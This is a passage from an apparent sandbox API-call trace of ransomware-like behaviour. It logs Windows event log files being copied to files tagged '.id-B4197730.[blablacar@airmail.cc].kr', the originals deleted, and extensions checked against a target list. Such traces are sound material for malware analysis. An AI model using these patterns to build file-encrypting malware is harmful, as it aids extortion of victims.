lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0099.714] GetLastError () returned 0x0 [0099.714] ReadFile (in: hFile=0x35c, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0099.731] WriteFile (in: hFile=0x358, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0099.733] ReadFile (in: hFile=0x35c, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.733] WriteFile (in: hFile=0x358, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x134, lpOverlapped=0x0) returned 1 [0099.733] SetEndOfFile (hFile=0x358) returned 1 [0099.733] CloseHandle (hObject=0x358) returned 1 [0099.813] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.813] SetEndOfFile (hFile=0x35c) returned 1 [0099.814] CloseHandle (hObject=0x35c) returned 1 [0099.814] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0099.815] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1 [0099.815] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0099.815] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0099.815] lstrlenW (lpString=".doc") returned 4 [0099.815] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.815] lstrlenW (lpString=".docx") returned 5 [0099.815] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.815] lstrlenW (lpString=".pdf") returned 4 [0099.815] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.816] lstrlenW (lpString=".xls") returned 4 [0099.816] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.816] lstrlenW (lpString=".xlsx") returned 5 [0099.816] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.816] lstrlenW (lpString=".ppt") returned 4 [0099.816] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0099.816] lstrlenW (lpString=".zip") returned 4 [0099.816] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.816] lstrlenW (lpString=".rar") returned 4 [0099.816] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.816] lstrlenW (lpString=".bz2") returned 4 [0099.816] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.816] lstrlenW (lpString=".7z") returned 3 [0099.816] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0099.816] lstrlenW (lpString=".dbf") returned 4 [0099.816] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0099.816] lstrlenW (lpString=".1cd") returned 4 [0099.816] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0099.816] lstrlenW (lpString=".jpg") returned 4 [0099.816] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0099.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0099.817] lstrlenW (lpString=".doc") returned 4 [0099.817] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.817] lstrlenW (lpString=".docx") returned 5 [0099.817] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.817] lstrlenW (lpString=".pdf") returned 4 [0099.817] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.817] lstrlenW (lpString=".xls") returned 4 [0099.817] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.817] lstrlenW (lpString=".xlsx") returned 5 [0099.817] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.817] lstrlenW (lpString=".ppt") returned 4 [0099.817] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0099.817] lstrlenW (lpString=".zip") returned 4 [0099.817] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.817] lstrlenW (lpString=".rar") returned 4 [0099.817] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.817] lstrlenW (lpString=".bz2") returned 4 [0099.817] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.817] lstrlenW (lpString=".7z") returned 3 [0099.817] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0099.817] lstrlenW (lpString=".dbf") returned 4 [0099.817] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0099.818] lstrlenW (lpString=".1cd") returned 4 [0099.818] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0099.818] lstrlenW (lpString=".jpg") returned 4 [0099.818] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.818] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0099.818] lstrlenW (lpString="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 78 [0099.818] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0100.071] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=1052672) returned 1 [0100.072] CloseHandle (hObject=0x358) returned 1 [0100.072] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20 [0100.072] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0100.072] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0100.072] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.072] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.072] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0100.075] GetLastError () returned 0x0 [0100.075] ReadFile (in: hFile=0x358, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0100.107] WriteFile (in: hFile=0x380, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0100.350] ReadFile (in: hFile=0x358, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x1010, lpOverlapped=0x0) returned 1 [0100.361] WriteFile (in: hFile=0x380, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x1020, lpOverlapped=0x0) returned 1 [0100.367] ReadFile (in: hFile=0x358, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.367] WriteFile (in: hFile=0x380, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x170, lpOverlapped=0x0) returned 1 [0100.368] SetEndOfFile (hFile=0x380) returned 1 [0100.368] CloseHandle (hObject=0x380) returned 1 [0100.440] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.440] SetEndOfFile (hFile=0x358) returned 1 [0100.441] CloseHandle (hObject=0x358) returned 1 [0100.441] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0100.442] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1 [0100.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0100.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0100.442] lstrlenW (lpString=".doc") returned 4 [0100.442] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0100.442] lstrlenW (lpString=".docx") returned 5 [0100.442] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0100.442] lstrlenW (lpString=".pdf") returned 4 [0100.442] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0100.442] lstrlenW (lpString=".xls") returned 4 [0100.442] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0100.442] lstrlenW (lpString=".xlsx") returned 5 [0100.442] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0100.442] lstrlenW (lpString=".ppt") returned 4 [0100.442] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0100.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0100.442] lstrlenW (lpString=".zip") returned 4 [0100.443] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0100.443] lstrlenW (lpString=".rar") returned 4 [0100.443] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0100.443] lstrlenW (lpString=".bz2") returned 4 [0100.443] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0100.443] lstrlenW (lpString=".7z") returned 3 [0100.443] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0100.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0100.443] lstrlenW (lpString=".dbf") returned 4 [0100.443] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0100.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0100.443] lstrlenW (lpString=".1cd") returned 4 [0100.443] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0100.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0100.443] lstrlenW (lpString=".jpg") returned 4 [0100.443] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0100.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0100.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0100.443] lstrlenW (lpString=".doc") returned 4 [0100.443] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0100.443] lstrlenW (lpString=".docx") returned 5 [0100.443] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0100.443] lstrlenW (lpString=".pdf") returned 4 [0100.443] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0100.443] lstrlenW (lpString=".xls") returned 4 [0100.443] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0100.443] lstrlenW (lpString=".xlsx") returned 5 [0100.443] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0100.443] lstrlenW (lpString=".ppt") returned 4 [0100.443] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0100.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0100.443] lstrlenW (lpString=".zip") returned 4 [0100.444] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0100.444] lstrlenW (lpString=".rar") returned 4 [0100.444] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0100.444] lstrlenW (lpString=".bz2") returned 4 [0100.444] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0100.444] lstrlenW (lpString=".7z") returned 3 [0100.444] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0100.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0100.444] lstrlenW (lpString=".dbf") returned 4 [0100.444] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0100.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0100.444] lstrlenW (lpString=".1cd") returned 4 [0100.444] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0100.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0100.444] lstrlenW (lpString=".jpg") returned 4 [0100.444] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0100.444] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0100.444] lstrlenW (lpString="Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 47 [0100.444] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0100.444] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0100.445] CloseHandle (hObject=0x358) returned 1 [0100.445] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20 [0100.445] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0100.445] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0100.445] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.445] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.445] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0100.445] GetLastError () returned 0x0 [0100.445] ReadFile (in: hFile=0x358, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0100.991] WriteFile (in: hFile=0x340, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0100.994] ReadFile (in: hFile=0x358, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.994] WriteFile (in: hFile=0x340, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x132, lpOverlapped=0x0) returned 1 [0100.994] SetEndOfFile (hFile=0x340) returned 1 [0101.233] CloseHandle (hObject=0x340) returned 1 [0101.236] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.236] SetEndOfFile (hFile=0x358) returned 1 [0101.238] CloseHandle (hObject=0x358) returned 1 [0101.238] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0101.238] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1 [0101.239] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0101.239] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0101.239] lstrlenW (lpString=".doc") returned 4 [0101.239] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0101.239] lstrlenW (lpString=".docx") returned 5 [0101.239] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0101.239] lstrlenW (lpString=".pdf") returned 4 [0101.239] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0101.239] lstrlenW (lpString=".xls") returned 4 [0101.239] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0101.239] lstrlenW (lpString=".xlsx") returned 5 [0101.239] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0101.239] lstrlenW (lpString=".ppt") returned 4 [0101.239] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0101.239] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0101.239] lstrlenW (lpString=".zip") returned 4 [0101.239] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0101.239] lstrlenW (lpString=".rar") returned 4 [0101.239] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0101.239] lstrlenW (lpString=".bz2") returned 4 [0101.239] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0101.239] lstrlenW (lpString=".7z") returned 3 [0101.240] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0101.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0101.240] lstrlenW (lpString=".dbf") returned 4 [0101.240] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0101.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0101.240] lstrlenW (lpString=".1cd") returned 4 [0101.240] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0101.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0101.240] lstrlenW (lpString=".jpg") returned 4 [0101.240] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0101.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0101.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0101.240] lstrlenW (lpString=".doc") returned 4 [0101.240] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0101.240] lstrlenW (lpString=".docx") returned 5 [0101.240] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0101.240] lstrlenW (lpString=".pdf") returned 4 [0101.240] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0101.240] lstrlenW (lpString=".xls") returned 4 [0101.240] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0101.240] lstrlenW (lpString=".xlsx") returned 5 [0101.240] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0101.240] lstrlenW (lpString=".ppt") returned 4 [0101.240] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0101.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0101.241] lstrlenW (lpString=".zip") returned 4 [0101.241] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0101.241] lstrlenW (lpString=".rar") returned 4 [0101.241] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0101.241] lstrlenW (lpString=".bz2") returned 4 [0101.241] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0101.241] lstrlenW (lpString=".7z") returned 3 [0101.241] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0101.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0101.241] lstrlenW (lpString=".dbf") returned 4 [0101.241] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0101.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0101.241] lstrlenW (lpString=".1cd") returned 4 [0101.241] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0101.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0101.241] lstrlenW (lpString=".jpg") returned 4 [0101.241] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0101.241] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0101.241] lstrlenW (lpString="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 51 [0101.241] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0101.242] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0101.242] CloseHandle (hObject=0x358) returned 1 [0101.242] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0101.242] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.242] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0101.242] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.242] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.242] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0101.243] GetLastError () returned 0x0 [0101.243] ReadFile (in: hFile=0x358, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 